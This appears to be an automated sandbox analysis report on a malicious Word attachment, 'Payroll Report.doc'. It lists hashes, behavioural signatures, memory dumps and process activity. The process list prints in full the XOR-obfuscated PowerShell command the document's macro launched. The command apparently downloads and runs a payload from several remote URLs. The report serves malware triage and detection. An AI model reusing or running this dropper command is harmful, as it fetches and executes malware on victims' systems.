Analysis
-
max time kernel
138s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
15-05-2024 22:14
Behavioral task
behavioral1
Sample
484719270dca5b2e2c14063435b59d0f_JaffaCakes118.msg
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
484719270dca5b2e2c14063435b59d0f_JaffaCakes118.msg
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
Payroll Report.doc
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
Payroll Report.doc
Resource
win10v2004-20240426-en
Behavioral task
behavioral5
Sample
Payroll Report.pdf
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
Payroll Report.pdf
Resource
win10v2004-20240508-en
General
-
Target
Payroll Report.doc
-
Size
84KB
-
MD5
bb1c3c4c38c803e3f12c446334ccb131
-
SHA1
d549a46a8f252e2396c300faab643041294ec9f0
-
SHA256
30df69feade4ca930c04d3321ba028f7a69e5f60e2b1a3cce05eac288799bd42
-
SHA512
7f2ce1cce36ec7bae36aab3352dd2ca507a0762bd63472f23f0b40ec3ac87701380f8f017205c82013beb96d9ee1603bff328a8934acc12f4bc8ec5db06c64fd
-
SSDEEP
768:wkfsR34+NaX1ucR3MK+1ogtqFTa3g1BS64XLU8vL1VzK9N5C6m3TxX8V:wkfsRNwX0A8K+agil7EB4m3TxX8V
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
POwerSHell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 744 4708 POwerSHell.exe WINWORD.EXE -
Blocklisted process makes network request 6 IoCs
Processes:
POwerSHell.exeflow pid process 26 744 POwerSHell.exe 36 744 POwerSHell.exe 105 744 POwerSHell.exe 106 744 POwerSHell.exe 109 744 POwerSHell.exe 111 744 POwerSHell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4708 WINWORD.EXE 4708 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
POwerSHell.exepid process 744 POwerSHell.exe 744 POwerSHell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
POwerSHell.exedescription pid process Token: SeDebugPrivilege 744 POwerSHell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4708 WINWORD.EXE 4708 WINWORD.EXE 4708 WINWORD.EXE 4708 WINWORD.EXE 4708 WINWORD.EXE 4708 WINWORD.EXE 4708 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 4708 wrote to memory of 744 4708 WINWORD.EXE POwerSHell.exe PID 4708 wrote to memory of 744 4708 WINWORD.EXE POwerSHell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payroll Report.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwerSHell.exePOwerSHell .( $PSHome[21]+$pSHOme[30]+'X')( " $(SeT-varIAble 'ofS' '') "+[sTring]( '29&125&110{104&111t105t25-4&25-87%92%78-20t86%91B83%92K90-77}25<75%88-87<93t86-84t2<29{86}114{73t87t116<74z25K4%25{87}92{78%20}86{91B83K92K90-77%25<106{64&74&77K92-84t23t119B92<77%23K110<92{91&122&85<80B92t87t77t2<29&79z87&83-126K109<76t25K4z25z30<81<77{77z73}3z22%22t78z78%78-23}93t90K20t77<92&90z81t23-75{76}22{105}8B85t67-120<114-22-121K81B77}77z73&3{22}22<78B78t78-23<93z92&87&80{67{92<84{85&88t82<9&15z23{90{86t84}22K13{92z77}83{105z65t105{22<121B81t77t77&73B3B22<22{78%78t78&23<80%80{90B74B93-92<85t81}80K23<86z75<94t22&65&93%110t64&124z113B22-121t81z77B77t73z3<22&22K78B78z78<23K82&77-88%94-81}88K87%88-23K90z86K84&22t87%64}110%9{104K22z121B81B77K77K73t3K22K22B78t78t78t23B94{76-75t76B88-87}93%90%86<23}80K87<22<9-83-94}94B91-85{111B22{30z23t106}73&85%80}77t17%30z121}30B16z2}29}88K91B111K90-67-88&25%4&25<29-125%110K104K111%105{23K87K92K65%77<17-8%21}25&12-11K14}10t8<11K16%2{29<79K83<96K75B116<25}4}25%29{92<87z79t3}77B92t84K73-25t18-25B30-101%30t25}18B25<29%88z91}111K90%67t88z25t18-25{30<23t92z65}92{30K2t95t86%75t92<88&90z81-17K29t106z116-77}97B78t25<80K87{25K29&79K87B83&126-109t76{16B66&77}75t64}66-29%86t114{73t87<116}74%23{125}86t78t87}85K86<88<93z127B80t85<92-17{29{106}116K77<97{78-23z109-86-106%77K75B80{87t94%17t16&21-25{29}79%83{96-75K116<16{2}106z77%88&75z77z20z105t75%86z90t92t74<74-25%29&79B83B96}75{116}2<91z75%92&88{82K2&68-90%88-77{90K81<66{78%75-80<77z92&20{81{86B74&77t25}29<102t23<124B65B90<92&73<77{80z86B87-23-116B92K74&74B88t94}92-2-68&68'.spLIt( '}%-{KtzB&<' ) |ForeAch { [ChaR] ( $_-BXor'0x39' )} )+"$( set-iteM 'VariABLe:ofs' ' ') ")2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\TCDB3A1.tmp\iso690.xslFilesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cdljg143.bxq.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/744-42-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/744-548-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/744-545-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/744-45-0x000001A4CE0F0000-0x000001A4CE112000-memory.dmpFilesize
136KB
-
memory/4708-18-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-31-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-8-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-9-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-12-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-13-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-14-0x00007FFA11150000-0x00007FFA11160000-memory.dmpFilesize
64KB
-
memory/4708-11-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-10-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-16-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-15-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-17-0x00007FFA11150000-0x00007FFA11160000-memory.dmpFilesize
64KB
-
memory/4708-19-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-22-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-21-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-20-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-0-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmpFilesize
64KB
-
memory/4708-35-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-32-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-6-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-38-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-37-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-36-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-7-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-5-0x00007FFA539ED000-0x00007FFA539EE000-memory.dmpFilesize
4KB
-
memory/4708-4-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmpFilesize
64KB
-
memory/4708-63-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-64-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-1-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmpFilesize
64KB
-
memory/4708-508-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-543-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-544-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB
-
memory/4708-3-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmpFilesize
64KB
-
memory/4708-2-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmpFilesize
64KB
-
memory/4708-568-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmpFilesize
64KB
-
memory/4708-569-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmpFilesize
64KB
-
memory/4708-571-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmpFilesize
64KB
-
memory/4708-570-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmpFilesize
64KB
-
memory/4708-572-0x00007FFA53950000-0x00007FFA53B45000-memory.dmpFilesize
2.0MB